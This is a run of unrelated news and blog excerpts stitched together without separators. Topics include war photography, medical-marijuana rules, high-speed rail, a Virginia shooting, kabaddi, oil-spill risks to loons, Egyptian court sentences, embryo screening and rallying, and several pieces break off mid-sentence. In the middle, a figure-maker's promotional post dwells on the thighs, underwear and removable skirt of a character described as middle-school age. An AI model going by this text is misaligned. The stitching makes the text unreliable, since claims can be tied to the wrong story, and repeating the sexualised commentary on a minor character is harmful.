His use of different media is explored in the biggest British exhibition of his work since his death, which opens in his home city of Liverpool today. The show at the Open Eye Gallery focuses on his time embedded with a US platoon in the Korengal Valley in north-eastern Afghanistan. Its title, You Never See Them Like This, is something that Hetherington said to journalist Sebastian Junger, his co-director on the Oscar nominated documentary film Restrepo, about the sight of slumbering soldiers
'Doc' Kelso sleeping at the Restrepo outpost in the Korengal valley, Kunar province, Afghanistan, July 2008. Photograph: Tim Hetherington/Magnum Photos
"They always look so tough … but when they're asleep they look like little boys. They look the way their mothers probably remember them," he said. The new exhibition includes the resulting images, published in his book Infidel, and the three-channel video installation entitled Sleeping Soldiers.
Hetherington was deeply affected by his time in Afghanistan and later said: "When I'm filming, I'm very focused … You don't really have time to start examining your emotions when you're in the middle of this kind of situation. You kind of push them to a deeper place in your mind and examine them later. But war is traumatic. I [saw] a lot of traumatic things happen in the Korengal Valley when we were there … I was with people who got killed and that was a very sad and upsetting thing."
US forces bomb insurgents in Afghanistan's Korengal valley, in 2007. The valley saw the most concentrated fighting with militants during the war. Photograph: Tim Hetherington/Magnum Photos
His 2010 short film Diary has an almost impressionistic style, collaging snatches of sound and images from various conflicts, which give a sense of the psychological and emotional impact of a decade of war reporting. A more detailed exploration of Hetherington's life and career can be found in Junger's documentary about him, Which Way is the Front Line From Here? which is released in October.
In it Hetherington explains why he put himself in harm's way, saying: "I risk my life both for personal reasons and for objective truth."
One of the other terms of the permit was the City’s requirement that the sales centre only be used for marketing real estate within Vancouver. There are large signs on the site promoting a Burnaby development (pictured below). The sign bylaw states that large “facia” signs should reflect the location of the business. Will the City enforce the sign bylaw in this case? We’ve included a number of photos of the property below:
The City of Vancouver recently granted a 3-year extension to the Concord Pacific “temporary” sales office to remain on the site:
However, the City at the same time prohibited the marketing of projects outside Vancouver. Why are there large signs promoting a development in Burnaby?
In a statement released Friday, Health Canada says that users who grow their own supply in their homes, or buy from small growers licenced under the old program, will not only have to destroy the stash before April 1, but also submit a form promising they've destroyed it and are no longer producing. Otherwise, Health Canada "will notify law enforcement."
This threat of legal action contradicts information in a Health Canada memo from last fall, in which the agency said it doesn't intend to share previous growers' personal info with law enforcement, Vancouver's Georgia Straight reports.
Users have to send in the form by April 30.
The changes to the medical marijuana program will limit legal growing to licensed companies which will mail out pre-dried packages of pot to those with a prescription. The federal government has certified 10 producers so far.
The government claims the new rules will reduce illegal trafficking and health hazards caused by growing the plant in private homes, but many users say they worry market prices will make the drug too expensive for them to buy. Health Canada estimates the average price of a gram will rise to $7.60 from the current price of $1.80 to $5, but one licensed company has already said it will offer a discount to those on social assistance or disability.
The federal agency also offers a suggestion on its website for destroying leftover marijuana, to add water to it before mixing it in with cat litter and throwing it out, a solution one user calls "ridiculous."
Opponents of the changes have threatened they might defy the new rules and a few are taking legal action. A B.C. lawyer has launched a constitutional challenge against the law, and an Ottawa couple has sued the federal government for $6.5 million.
A big butterfly is covering up Yuri-chan’s face!! (((ﾟДﾟ)))
I always thought this breed of butterfly only came out in Summer… not to mention I can’t help but think it’s a little too big to be real! :P
Today I’ll be looking at an adorable prototype that came swooping down into the GSC offices today!
From Accel World:
1/8th Scale Kuroyukihime: Black Butterfly Ver.!
From the anime ‘Accel World’ comes a 1/8th scale figure of the elegant and cunning young lady, Kuroyukihime! She has been sculpted in her butterfly avatar form, wearing a black dress which contrasts beautifully with her pale skin. Her long dress spreads out magnificently to the floor, and the lacing on the edges is features a transparent purple parts – everything has been sculpted to the finest of details. Her outfit together with her huge wings create a beautiful, mystical figure of Kuroyukihime for fans to enjoy.
She has so much volume for a 1/8th scale figure!
Figures in a sitting position tend to look a little too small or cramped, but I don’t get that feeling from this figure at all! Plus the contrast between her pale skin and the black of her dress is absolutely beautiful!
You can really feel Kuroyukihime’s aura coming off from this figure! It suits her so well!
This is how she looks from the back!
It’s quite hard to tell from the photos, but the butterfly wings actually makes use of a slight transparent gradient! If you look at the bottom right here you’ll see that you can just see through the wing a little bit.
The details are so tiny it’s hard to even capture them in photos… but seeing it in person is even more amazing!
This is a too much for me, senpai!! ヽ(`Д´)ノ
That ever so slight bump is really something, isn’t it!! (;゜∀゜)=3
I’m sure most of you will know I’m generally someone who prefers a bit of meat on the body, but the line from her collar bone to her shoulders is so lady-like… I couldn’t say no to this! When I see such a gentle looking body, I can’t help but get the feeling I need to protect it!
Such a cute, innocent expression!!
She has her head tilted slightly to the side which makes it look even cuter! But beyond the cuteness you can also see Kuroyukihime’s strong resolve, just by looking into her eyes!
Look at the drape of her dress!
All the creases along the dress give it such a dynamic feeling, and the paintwork makes the fabric look heavy and realistic! Just like with yesterday’s Sheryl, Kuroyukihime looks so very real – the dress seems to be acting just as a real dress would… figures are such a work of art!
The lacing on the edges also makes use of a lovely transparent purple – the lacing over her thighs makes them look even more sexy!
Aki, the head of GSC, helped make sure the legs were perfect!
While the sculpting was still being worked on the legs had a slightly plumper look, but Aki requested it be changed because a middle school’s legs should be thinner and more lady-like! :P
Thanks to the change her legs have indeed come out looking very lady-like which makes for this lovely photo! The uneven knees and the shadow you can see on the reverse side of her thighs are also great!!
If you look from the side… you get a little present!
Ah, she is wearing something underneath, in case you’re wondering! :P
The huge butterfly wings make this section quite hard to see normally, but from the side you can get a nice little view of her back. That silver butterfly is in such a sexy position! Σ(゜Д゜;）
Even the hard-to-see parts are detailed!
Kuroyukihime is actually sitting on this lovely antique chair!Once she’s sitting on it it’s very hard to see, but even so the detail is amazing!
You can also display her without the wings!
Unfortunately it does leave a little hole in her back where the wings connect to, but from the front she looks just fine!
There is another thing I want to mention, but I can’t go into too much detail without getting into trouble… the skirt section of her dress isn’t held in place with tabs or anything else. Plus the separation lines on the body are also carefully done as to not stand out… I think you can see where I’m going with this? (゜ε゜)
From Accel World:
1/8th Scale Kuroyukihime: Black Butterfly Ver.!
She’ll be up for preorder from the 30th April!!
Anyway, that’s all for today!
I hope to see you all again tomorrow!! (・∀・)ノ゛
Express trains in Japan can travel at speeds of up to 320km/h. Credit:Bloomberg But Ms Berejiklian said on Tuesday NSW's train services were "in an evolution" and catching up to Japan, which was at least a generation ahead of the world. Bullet trains travel at speeds of 240-320 kilometres an hour and could cut the travel time between Sydney and Melbourne to less than three hours. Federal Transport Minister Darren Chester travelled on a high-speed train in China last month and said the experience was "quite staggering", and Australia was "envious" of the way China's high-speed trains had not only shortened the travel time between Chinese cities but sped up the entire rail network. A fortnight before his high-speed rail trip, Mr Chester had also poured cold water on bullet trains in Australia, saying high-speed rail was "a long way off in the future".
High-speed rail has long been debated in Australia, but nothing has been done because of the perception Australia's sparse population meant the service wouldn't be economically viable. But an Infrastructure Australia report last month concluded population growth would make a Sydney-to-Melbourne high-speed rail link viable by 2032. It warned state governments needed to act in the next three to five years to secure a land corridor for a high-speed rail route, at an estimated cost of $720 million, before rising property prices made it unaffordable. Infrastructure Australia chairman Mark Burrell complained high-speed rail was continually pushed to the bottom of government priority lists. Japanese and Chinese rail companies could be expected to be competing bidders, should Australia proceed with its first high-speed rail line.
Mitsui executives met with Ms Berejiklian on Monday and gave her a copy of a press clipping from the August 20, 1901, edition of The Sydney Morning Herald, which recorded the arrival of Japanese merchant Mr C. Asano of the trading house Mitsui Busan Keisha in Sydney to look for business opportunities. Mr Asano told the Herald reporter he would travel to Melbourne by Japanese steamer, and return by train. Mitsui is part of a consortium, Consolidated Land and Rail Australia,that was pushing a privately funded bid for high speed rail between Sydney and Melbourne earlier this year. Mitsui and bullet train operator East Japan Railway this month struck a deal in Britain to run inter-regional services and a Birmingham metro, and are competing for a British high-speed rail contract. HongKong's MTR and a Chinese rail company are bidding for a second British high-speed rail tender. MTR will operate NSW's first private railway, the Sydney Metro North West. Federal governments have previously released reports into high-speed rail in 2011 and 2013. The Turnbull government is expected to call for proposals next month to develop business cases for faster inter city rail connections, although not necessarily bullet trains.
Ms Berejiklian said high speed rail was expensive and "all relevant options" would need to be considered to improve transport to regional areas and between major cities. "This includes improving the performance of existing networks, rather than solely focusing on new alternative infrastructure," she told Fairfax Media. She said Australia's small population was challenging and this meant to get faster trains, they "can't stop everywhere". She said the punctuality of services and "selflessness" of staff working in Japan's transport system had inspired her as minister to try to change the culture of the Sydney transport system. "These were notions that had been lost on NSW for some time... I am very proud of the fact we have changed that culture in NSW. We have a much more customer centric organisation."
Posted By: Dan Geer
We all remember vividly what Heath Ledger looks like as The Joker in The Dark Knight with all the white makeup on. However, we only got a brief glimpse of what he looked like without it. Take a look below at this great image from the set of the film with Ledger as The Joker, but with only the scars around his mouth and the greenish-colored hair.
Click on the image for a larger view over at Geek Tyrant:
DINWIDDIE — A troubled relationship between a father and son may have lead to the Feb. 10 shooting that resulted in the death of 42-year-old Irvin Wayne Faison.
Ann Baskervill, the Dinwiddie County commonwealth’s attorney, said 18-year-old James Faison fired eight rounds at his father with a .45-caliber handgun, with six shots hitting the victim.
“He emptied the gun, the only reason he stopped shooting is because it didn’t have anymore ammo,” Baskervill said.
It is for this reason that she has charged Faison with first-degree murder, which could land the young man in prison for the rest of his life plus three years.
Faison’s 19-year-old girlfriend Lynsey Freeman and his mother Rachael Casey both claim that Irvin Wayne Faison was a very abusive and violent person. Casey said she met Irvin Faison in 1994 when she was 16 and he was 21 when she was a sophomore at Dinwiddie High School. She dropped out of school and gave birth to their son James Faison a month before they married in 1996. She described their marriage as “hell” because she said he would belittle her and verbally abuse her. She said she left Irvin Faison in 2012 and their divorce was final in 2014.
“We feared this man,” Casey said describing the 6-foot-4-inch man who weighed over 250 pounds. “I had to buy the guns after I left Irvin because he was that dangerous. I knew I had to have something to protect myself.”
Casey filed for an emergency protective order in April 2012 that lasted three days. In the criminal complaint that accompanied the emergency protective order, Casey said Faison would call her four to five times everyday at her job and carried his .45-caliber gun with him.
“He has told me he was going to snap and go killing neighbors,” she wrote.
Casey petitioned for another protective order, but that was later dismissed.
An arrest warrant stated that Irvin Faison was arrested May 16, 2012. In the criminal complaint filed by Casey, she said Faison head-butted his son in the nose on March 14, 2012, and threatened to break “every bone and tooth” in his son’s body if the police were called.
A written testimony by James Faison, who was then 16 years old, stated that in August 2011 his father grabbed him by the throat and slammed him into a wall “hard enough to break the sheet rock.” He also wrote that “he’s (Irvin Faison) threatened to hurt me on a near daily basis and he’s said multiple times that if I told the police there would be no one to stop him from getting to me.”
Faison was charged with assault and battery with his son taking the warrant out against him. Faison was found guilty May 29, 2012 and sentenced to 12 months in jail with 11 months suspended. Prosecutor Baskervill said the senior Faison spent one month in Meherrin River Regional Jail.
Another protective order, this time by Faison’s son, was petitioned on May 15, 2012.
“I am telling now because I can’t take anymore abuse physically or mentally, whether he hurts me for it or not,” James Faison wrote in his petition for the protective order.
The protective order was granted on May 29, 2012, and was good for two years, expiring in May 2014, according to court records. Casey was later added on this protective order.
Casey said unlike his father, Faison was not a violent person. She said he was in the gifted program at Dinwiddie High School before dropping out in 2013 and obtaining his GED diploma. He and his girlfriend had plans to move to Georgia and go to school after selling Faison’s 1994 Mustang GT, something that did not sit well with his father. Both Faison’s mother and his girlfriend said that the Feb. 10 confrontation occurred because Faison’s father did not want him selling the vehicle.
Casey said after she heard about the incident and saw her son, she knew he was in shock. His girlfriend Lynsey Freeman said he did not realize his father was dead after the shooting.
“Regardless of whether James had to do it, Irvin was still his father. To watch your father die and being made to do it has still upset him so bad that he feels that his dad made him do this," Casey said. "He just wanted his father to love him, that’s what he always said.”
Despite the evidence of abuse and a strained relationship, Irvin Faison’s brother Michael Baumgras said the relationship between the father and son was not as bad as it appeared to others.
“James had a fairly decent relationship with him,” Baumgras said. “No matter [what the circumstance], he still loved his son and always told him that if he ever got into anything … he would be there to help him.”
Baumgras added that the allegations of repeated abuse were false, but that the father and son would often have arguments because Irvin Faison wanted his son to be productive.
“If you think it’s like abuse everyday or every week, no it wasn’t nothing like that,” Baumgras said. “They might have had a few words here and there over the past year. Usually one would go their way, the other would go the other way. Then next time they would see each other they would be fine and talk.”
In terms of what happened Feb. 10, Baumgras said some things are still not adding up. He said the way in which the house was constructed, James Faison should have had ample time to escape before resorting to the .45-caliber handgun.
“It was senseless, that’s it overall,” Baumgras said. “If you were going to try and claim self-defense or something, why did you have to unload the clip in him? You could’ve just shot one time and that would have been enough.”
The concern with James Faison emptying the gun on his father is exactly why the Dinwiddie Sheriff’s Office and Dinwiddie Commonwealth’s Attorney office are pursuing first-degree murder charges.
“It’s sympathetic when anyone is a victim of abuse, but you can’t just take it into your own hands and be a vigilante,” Baskervill said.
James Faison will have a hearing in the Juvenile and Domestic Relations Court on April 14.
But never have this trio of former footy guns been exposed to this kind of fanaticism and following.
Campbell Brown, Stephen Milne and Adam Schneider are all currently in India representing Australia at the 2016 Kabaddi World Cup.
Kaba-what, you say?
Kabaddi is a rough, contact sport that sees select players hold their breath and chant “kabaddi, kabaddi” while trying to tag and wrestle opponents to the ground to score points. It lasts for 40 minutes, as two teams of seven players and five reserves each try to outscore each other by getting their opponents out, either through a raid or a tackle. The team with the most points at the end of the 40 minutes is declared the winner.
The sport can be described as combining aspects of wrestling and rugby, and was originally intended to help develop self-defence techniques, quick reflexes and the ability to counter attack on the fly, when facing individuals or multiple opponents.
No matter which sport they play, they always fight hard. Australia are #ReadyToRaid at the #2016KabaddiWorldCup! pic.twitter.com/vzKTP4qv2j — Star Sports (@StarSportsIndia) October 8, 2016
And Brown — a bloke who has never played Kabaddi in his life prior to the tournament — is the team’s captain for the sport’s biggest event.
“There are many attributes we learn in Australian football that come handy in kabaddi,” Brown told the Hindustan Times pre-tournament.
“Things like speed and agility is key to both sports. The tackling skills we learnt as players will also help here. Australian rules football is a 360 degree game, just like kabaddi. You need peripheral vision to evade tackles when raiding.”
The Australian Kabaddi Federation only decided to put together a team for the 12-nation World Cup a few months ago, opting to stack its team with AFL talent. The Australian team is coached by former kabaddi player Srinivas Reddy and consists of three Indian origin players who have Kabaddi playing experience, while the other players are from footy background — including three with AFL experience.
Milne and Schneider, who played over 500 AFL games between them, both represented St Kilda in the 2009 and 2010 Grand Finals, while Brown, who played 205 games with Hawthorn and the Gold Coast Suns, was a member of the Hawks’ 2008 premiership side.
Australia's Campbell Brown the unveiling of the 2016 Kabaddi World Cup trophy in Ahmedabad. Source: AFP
Despite having played on the AFL’s prime day of the calendar year, the trio
“We’re very fit. On an average, you run between 12 and 16 kilometres in an AFL game. That’s why our pre-season training lasts up to six months. We do a lot of running, swimming, boxing, cross training and gym work apart from pilates and yoga.”
However it was a tough start for Brown and his Aussies, who were thrashed 54-20 in their opening match of the tournament by India — the champions of the past two World Cups.
Brown scored five points for Australia, but the Aussies stood little chance against the country that has dominated the sport at the top level for nearly three decades.
They’ll be hoping to bounce back with a win in the Kabaddi Ashes — a game against England on Monday.
AUSTRLIA’S SCHEDULE FOR 2016 KABADDI WORLD CUP
8th October: India d Australia 54-20
10th October: England v Australia
12th October: Australia v Argentina
15th October: South Korea v Australia
17th October: Australia v Bangladesh
21st October: Semi-finals
A state Department of Natural Resources expert says it is a real possibility.
Unknown numbers of nonbreeding, juvenile loons from Minnesota reside in the Gulf, awaiting the time when they will be old enough to breed and return north. Juvenile loons spend three years in the Gulf before they are sexually mature and migrate to Minnesota, said DNR nongame lake wildlife expert Pam Perry.
“We have juvenile loons down there right now, and we don’t know what will happen to them,” she said. “Oil can have a direct impact on their mortality, but it can also disrupt the food chain. We certainly have a lot of concerns.”
Mature loons residing in Minnesota are raising their young, but come late October and early November, they will migrate to the Gulf Coast, as well as the shores of Florida, where they will spend the winter. During that time, they will molt, or grow new feathers, and spend their time feeding in the Gulf, Perry said.
If oil is present in the areas where the loons winter, they could face dangers when their feathers become coated. The oil could cause their feathers to lose their insulating ability and could weigh down the birds, causing them to drown, Perry said.
So far, most of the oil from the blown-out Deepwater Horizon well has remained offshore, but oil-soaked seabirds are beginning to show up at rehabilitation centers. At least 400 pelicans, seagulls and other waterfowl have been brought to the Fort Jackson Oiled Wildlife Rehabilitation Center in Louisiana, according to the Wall Street Journal.
Perry admitted there are many unknowns about how the spill could affect Minnesota loons and other shorebirds and waterfowl. That is part of the frustration she and other biologists share.
“We’re all feeling kind of helpless about this, and we’re not even sure what the Minnesota DNR can do,” she said.
Minnesota has the largest population of common loons in the lower 48 states. The population is around 12,000, based on a 20-year-old survey, and Perry said the DNR’s monitoring in the past two decades suggests the population has not changed much since.
A 2004 U.S. Fish and Wildlife Service report on the status of the common loon in North America indicated oil spills are a major threat to seabirds, including loons. The 1989 Exxon Valdez disaster, which spilled 11 million gallons of oil across 1,300 miles of shoreline, killed at least 216 common loons whose carcasses were recovered.
A 1996 spill of home heating oil off the coast of Rhode Island killed an estimated 400 loons. Another spill in Buzzard’s Bay in Massachusetts in 2003 killed an estimated 200 common loons, according to the Fish and Wildlife report.
According to the conservation group Ducks Unlimited, the oil spill could have a “potentially devastating” impact on marine and wetland wildlife species, as well as devastating impacts on marsh plants and wetlands that are part of the Gulf ecosystem.
About 13 million waterfowl may winter in the Gulf Coast in some years, according to the group, but those birds are on their breeding grounds in the north, including Minnesota, the Dakotas and Canada. Like loons and other shorebirds, waterfowl won’t return to their winter grounds until late fall or early winter.
Most waterfowl spend winters in brackish or freshwater marshes away from the Gulf, said Steve Cordts, Minnesota DNR waterfowl specialist, but some species, such as scaup, spend winters in the ocean. Ducks Unlimited officials say they also are concerned about scaup and redheads, another species of duck, which winter offshore from Louisiana.
“There have been some huge rafts of scaup seen way off shore, in thousands of feet of water, and no one is sure why they go there,” Cordts said. “If they are loafing out there, and are in the oil, it would likely kill them.”
So far, biologists said they and other experts can only monitor the situation. Perry said there are discussions about putting satellite-tracking devices on some loons in Minnesota this year, perhaps in a joint effort with Wisconsin, but the project is still in the discussion stages.
“I wish we had an answer for what we could do,” Perry said. “We don’t know if it (the spill) will be really bad or just bad when it comes to loons. We know it’s not going to be good.”
A native of Quebec City, Denis knew from childhood that he would be an artist. He initially worked with his father, a commercial sign painter. This training served as a foundation as he privately explored drawing in charcoal, bringing his talent for capturing detail to depictions of both still lifes and built structures. He then worked for many years creating accurate and appealing architectural renderings as well as commercial illustrations for advertising.
A dedicated conservationist and member of the international organization, Artists for Conservation, Denis has contributed to fundraising for organizations that include World Wildlife Federation Canada, Quebec Wildlife Federation, and the Art of Nature. His work was selected for the Art Portfolio through Ducks Unlimited in 2007-2009.
Saudis have poured scorn on a report claiming that a “famous racehorse with an estimated value of more than $12 million would be euthanized after it was allegedly caught in sexual intercourse with another stallion.”
According to the report, the four-year-old stallion was allegedly caught on two separate occasions while it was engaged in sexual intercourse with another male. “When this was reported to the authorities, the horse was rapidly taken away and isolated,” the report posted on US and French sites claimed.
The decision was endorsed by the Committee for the Propagation of Virtue and the Prevention of Vice, the report claimed, adding that it signed the horse’s death warrant in front of the television cameras, Saudi site Sabq reported.
“This was meant to send a clear message that homosexuality, under any form, would not be tolerated in the kingdom,” the report alleged. The execution was scheduled for November 20.
Almost a dozen American and European horse owners have offered to buy the horse in order to prevent its execution, but so far, the kingdom has refused to negotiate.
“I thought they were capable of better lies and allegations,” Mashael, a social media user, said. “This is a far-fetched claim that cannot go far,” she said.
For Tariq, “lies should have a minimum of sense in order to be believed, unless they are targeting non-knowledgeable or gullible people who would not attempt to check the claims.”
“I truly wonder what makes such Western sites against us,” Ahmad Anas, a blogger, said. “Fabricating incredible lies, concocting baseless reports and targeting Saudis, Arabs and Muslims have become a way of life for them. It is really deplorable. They should come to their senses and respect people’s cognitive levels,” he said.
However, Khalid called upon Saudis to ignore the baseless allegations and go on with their lives.
“They are so ridiculously futile, so absurdly frivolous that they should not be dignified with a comment,” he said. “Even if they are meant as a joke, it is in bad taste,” he said.
I think the most important that happened to me was a combination of my church and youth minister when I was a teenager, insisting that we go in to inner-city Chicago because I lived in a suburb and have exchanges with kids in black and hispanic churches. It was also important for me to be a baby-sitter for the children of migrant workers and to learn more about their lives, and to hear Dr. King speak in Chicago when I was about 14 years old. That got me thinking about what I needed to do to try to fulfill my faith.
When I was in law school, I had the opportunity to mead a visionary woman, named Mary Right Adelman, who worked with Dr. King who was the first African-American woman who passed the Mississippi bar. I asked her for a job and she said she didn’t have any money. I was working my way through law school and she said if I could get a job and get myself paid, she would give me a job. So I got law students a Civil Rights Research Council Grant.
The first thing she did was send me to look at South Carolina, to investigate juveniles being sent to adult jails. The second thing she did was to send me to Alabama to investigate segregated academies. So from that moment until today, I am so grateful for my experiences as a very young woman driven by my church and my experiences working for the Children’s Defense Fund which have given me some insight and have lit a fire inside me to do everything I can to address systemic racism.
LEMON: I want to ask both of you this question. I appreciate you responding to that question, but I want to ask both of you again. In a speech about policing, the FBI director James Comey borrowed a phrase saying, “everyone is a little bit racist.” What racial blind spot do you have? Secretary, you first.CLINTON: Well, Don, if I could, I think being a white person in the United States of America, I know that I have never had the experience that so many people, the people in this audience have had. And I think it’s incumbent upon me and what I have been trying to talk about during this campaign is to urge white people to think about what it is like to have “the talk” with your kids, scared that your sons or daughters, even, could get in trouble for no good reason whatsoever like Sandra Bland and end up dead in a jail in Texas.
(APPLAUSE)
CLINTON: And I have spent a lot of time with the mothers of African-American children who have lost them, Trayvon Martin’s mother. And I’ve gotten to know them. I’ve listened to them. And it has been incredibly humbling because I can’t pretend to have the experience that you have had and others have had. But I will do everything that I possibly can to not only do the best to understand and to empathize, but to tear down the barriers of systemic racism that are in the criminal justice system, in the employment system, in the education and health care system.
That is what I will try to do to deal with what I know is the racism that still stalks our country.
(APPLAUSE)
LEMON: Thank you, Secretary.
They were handed down shortly after the interim military-backed regime made the highly symbolic decision to order the arrest of two of the liberal protest leaders most closely associated with the revolution against President Hosni Mubarak in 2011.
The women arrested last month in Alexandria were supporters of Mr Morsi and members of the "7am Club" which staged protests before school started. Images of the defendants, many of them teenage girls, sitting in the dock in white prison uniforms and hijabs were circulated on social media.
Their jail terms were compared to the seven years handed down to two Alexandria policemen accused of beating to death Khaled Said, a young businessman whose bloodied image and tribute Facebook page became the revolutionaries' greatest rallying points in 2011. The policemen are currently bailed pending appeal.
Another police officer who was caught in the act of shooting protesters in the eyes with birdshot in late 2011 was sentenced to just three years.
The women were charged with being members of a terrorist organisation, blocking roads, and "fighting with knives and stones". Six men were sentenced to 15 years for inciting them.
The sentences of the minors have to be reviewed. They will be transferred to adult prison on reaching the age of 18.
Since it overthrew the Muslim Brotherhood's Mohammed Morsi in July, the regime has claimed to be ruling in the spirt of the 2011 revolution. However, this week it reinstated laws restricting public protests and has reasserted its right to try civilians in military courts.
Meanwhile, the public prosecutor's order to detain Ahmed Maher, whose April 6 movement was the most prominent organisation involved in coordinating the 2011 Tahrir Square demonstrations, and Alaa Abdulfatah, a prominent blogger, suggests that having imprisoned large sections of the Brotherhood leadership it may turn against liberal oppositionists more fiercely.
The move followed an illegal rally against the new protest law on Tuesday.
By Wednesday night, fresh crowds were gathering in central Cairo. "We are right back where we were in 2011, and will just have to start again from scratch," said Mohammed Wagieh, 20.
Mr Wagieh, a protest veteran, has been detained once for 20 days in 2011 and on another occasion shot in the leg with live ammunition.
"The fear barrier is now broken," he said. "In the beginning I would have been afraid but now that I have been shot once and arrested once I'm not afraid at all."
The cabinet have defended the protest law on the grounds that rallies are unpopular with residents whose lives were being disrupted. Critics point out that the army cited the scale of popular protests against Mr Morsi at the end of June as justification for moving against him.
The movement that organised those protests, Tamarod, has up until now been among the army's staunchest backers, but at least one leading figure came out against the new law this week.
The army's claim that it had the backing of an overwhelming majority of the Egyptian population for its removal of Mr Morsi was contradicted, meanwhile, by a poll by the Zogby Research organisation saying it was opposed by 51 per cent of those surveyed, with 46 in favour.
The expert in practical ethics said that we should actively give parents the choice to screen out personality flaws in their children as it meant they were then less likely to "harm themselves and others".
The academic, who is also editor-in-chief of the Journal of Medical Ethics, made his comments in an article in the latest edition of Reader's Digest.
He explained that we are now in the middle of a genetic revolution and that although screening, for all but a few conditions, remained illegal it should be welcomed.
He said that science is increasingly discovering that genes have a significant influence on personality – with certain genetic markers in embryo suggesting future characteristics.
By screening in and screening out certain genes in the embryos, it should be possible to influence how a child turns out.
In the end, he said that "rational design" would help lead to a better, more intelligent and less violent society in the future.
"Surely trying to ensure that your children have the best, or a good enough, opportunity for a great life is responsible parenting?" wrote Prof Savulescu, the Uehiro Professor in practical ethics.
"So where genetic selection aims to bring out a trait that clearly benefits an individual and society, we should allow parents the choice.
"To do otherwise is to consign those who come after us to the ball and chain of our squeamishness and irrationality.
"Indeed, when it comes to screening out personality flaws, such as potential alcoholism, psychopathy and disposition to violence, you could argue that people have a moral obligation to select ethically better children.
"They are, after all, less likely to harm themselves and others."
"If we have the power to intervene in the nature of our offspring — rather than consigning them to the natural lottery — then we should."
Should we consider genetically screening behavioural traits?
He said that we already routinely screen embryos and foetuses for conditions such as cystic fibrosis and Down’s syndrome and couples can test embryos for inherited bowel and breast cancer genes.
Rational design is just a natural extension of this, he said.
He said that unlike the eugenics movements, which fell out of favour when it was adopted by the Nazis, the system would be voluntary and allow parents to choose the characteristics of their children.
"We’re routinely screening embryos and foetuses for conditions such as cystic fibrosis and Down’s syndrome, and there’s little public outcry," he said.
"What’s more, few people protested at the decisions in the mid- 2000s to allow couples to test embryos for inherited bowel and breast cancer genes, and this pushes us a lot close to creating designer humans."
"Whether we like it or not, the future of humanity is in our hands now. Rather than fearing genetics, we should embrace it. We can do better than chance."
The first non-European event of the season, Rally Mexico is a world away from the previous event in Sweden.
From the snowbank lined forest roads, with temperatures as low as -20°C, comes the rough, rocky mountain roads of Mexico where air temperatures can linger around 30°C and can reach as high as 50°C in the cockpit.
In addition to the hotter temperatures, the rally features the highest altitude anywhere on the calendar, with some stages being run at nearly 3,000m above sea level.
This results in limited oxygen supplies to the engines, with a potential loose of 20% of their horsepower.
Because of this the teams have been testing in the mountainous Granada region of Spain as well as configuring the dynos to high altitude settings in order to negate the altitude problem.
Despite all this, Rally Mexico is renowned as one of the most colourful and vivacious events on the calendar and that will only be heightened this year with the inclusion of a spectacular opener in Mexico City.
The famous Zócalo square will play host to two 1.57km tests as the classic colonial square, an area more accustomed to receiving foreign heads of state and hosting national celebrations, will echo to the sound of World Rally Cars, with more than 200,000 fans watching on.
Latvala’s Altitude Problem
Jari-Matti Latvala, together with the brand new Tommi Makinen run Toyota team and the even newer Toyota Yaris WRC, has been the series’ surprise hit so far.
The Finn currently leads the championship after his excellent win in Sweden but Latvala doesn’t expect to be challenging for another fairy-tale win.
Despite being first to clear the rock gravel strewn roads for his rivals on day one, Latvala’s main concern is Toyota’s lack of experience in dealing with high-altitude conditions.
Therefore the Finn believes that it’ll be the toughest event for new team.
“We are a new team going to Mexico for the first time,” he told Autosport magazine.
“The other teams have a lot of experience of this rally and these conditions.
“The team has done some simulation work, but we don’t know too much about how things will work when we get to Mexico.”
Runner behind Latvala on the road on day one is reigning champion Sébastien Ogier.
This is the first time since 2014, that Ogier will not be first car on the road.
This means that he’ll be free from the worst of the road cleaning, but an arduous task still lays ahead for the Frenchmen as the second car on the road.
Despite this, Ogier still expects a good result on the rally that he began his WRC career on.
“I made my WRC debut in Mexico so it is always nice to come back here,” he said.
“We always receive such a warm welcome from the fans and they have a real passion for the sport.
“For the first time in a number of years we won’t be opening the road but it will still be a big challenge. We’ll be the second car into the stages so we’ll still have to contend with quite a lot of road cleaning.
“It’s going to be an interesting rally and I hope we can continue our good performance and continue to progress.”
Team DMACK driver Elfyn Evans has only competed in Mexico twice before, but on both times he has finished fourth overall, so the possibility of three in a row will hopefully be on the cards if everything goes the Welshman’s way.
Neuville & Citroen Must Deliver
Hyundai go into the event searching for its first podium finish of the season, despite dominating the first two events.
Thierry Neuville and Hyundai i20 Coupe WRC have proved to be the quickest combination so far this season.
However, small but very costly mistakes by the Belgian has prevented a clean sweep of victories and as a result Neuville arrives under pressure to deliver.
However, the Belgian is determined to claim the manufacturer’s first top-three finish in Mexico since 2014.
“We are confident that we can perform well,” he said.
“The car has already demonstrated what it can do in Monte and Sweden, so we have to go out there and show what we know we are capable of.
“We’re determined to fight back!”
His team-mates Hayden Paddon and Dani Sordo will also be looking to join him on the podium and get on terms with the Belgian having been consistency outpaced by Neuville so far this year.
Citroen also arrive with a point to prove.
The C3 WRC and Kris Meeke have flattered to deceive so far this season but both are hoping to kick start their season in Mexico, confident that they’ll show good pace on gravel.
“Mexico is one of the rallies I know the least, but it’s a course that I like,” the Northern Irishman said.
“I think that we headed in the right direction during testing and I’m looking forward to checking that in racing conditions.
“Despite the loss of power, it should still be pretty enjoyable to drive the cars because we’ll be at more or less the same level as last year’s WRCs. We’ll have to guard against being too aggressive behind the wheel so as to avoid losing time.”
Skoda Aims to Achieve Six in a Row
In WRC2 M-Sport’s Éric Camilli will go head to head with Rally Sweden winner Skoda’s Pontus Tidemand.
Tidemand is hoping to continue Skoda’s five round winning streak in WRC2, but Camilli is hoping to put a stop to that despite competing on his least favoured surface.
The WRC Trophy only has one competitor entered, Valeriy Gorban’s Mini John Cooper Works WRC.
The position is currently filled on an interim basis by Pedro Rodriguez (who served as executive director from 1983-1998), but GCAC board chair Claudia Castillo Gonzalez said the goal is to have someone in place permanently by the end of this spring.
"We just want to move forward and revolutionize the world through Latino arts and culture," Castillo Gonzalez said. "We absolutely want a visionary leader who is community based."
Integral to that future is what CineFestival director Jim Mendiola calls "long-range plans" for the nation's longest-running Latino film festival, which makes its annual return to GCAC February 21-28. Returning to a directorial position with the festival for the first time since the '90s, Mendiola believes his enhanced role will give CineFestival more autonomy in terms of how to expand it and develop more inspiring programming.
"We started to implement some of these plans this year, but next year we're going to be even bigger," Mendiola said. "We want the festival to not just appeal to a local crowd, but have a national impact as it has in the past."
With the New York International Latino Film Festival ending its 13-year run in 2013, Mendiola feels there is room for other festivals to step in and take over so Latino films can continue to get the platforms they deserve to reach different audiences.
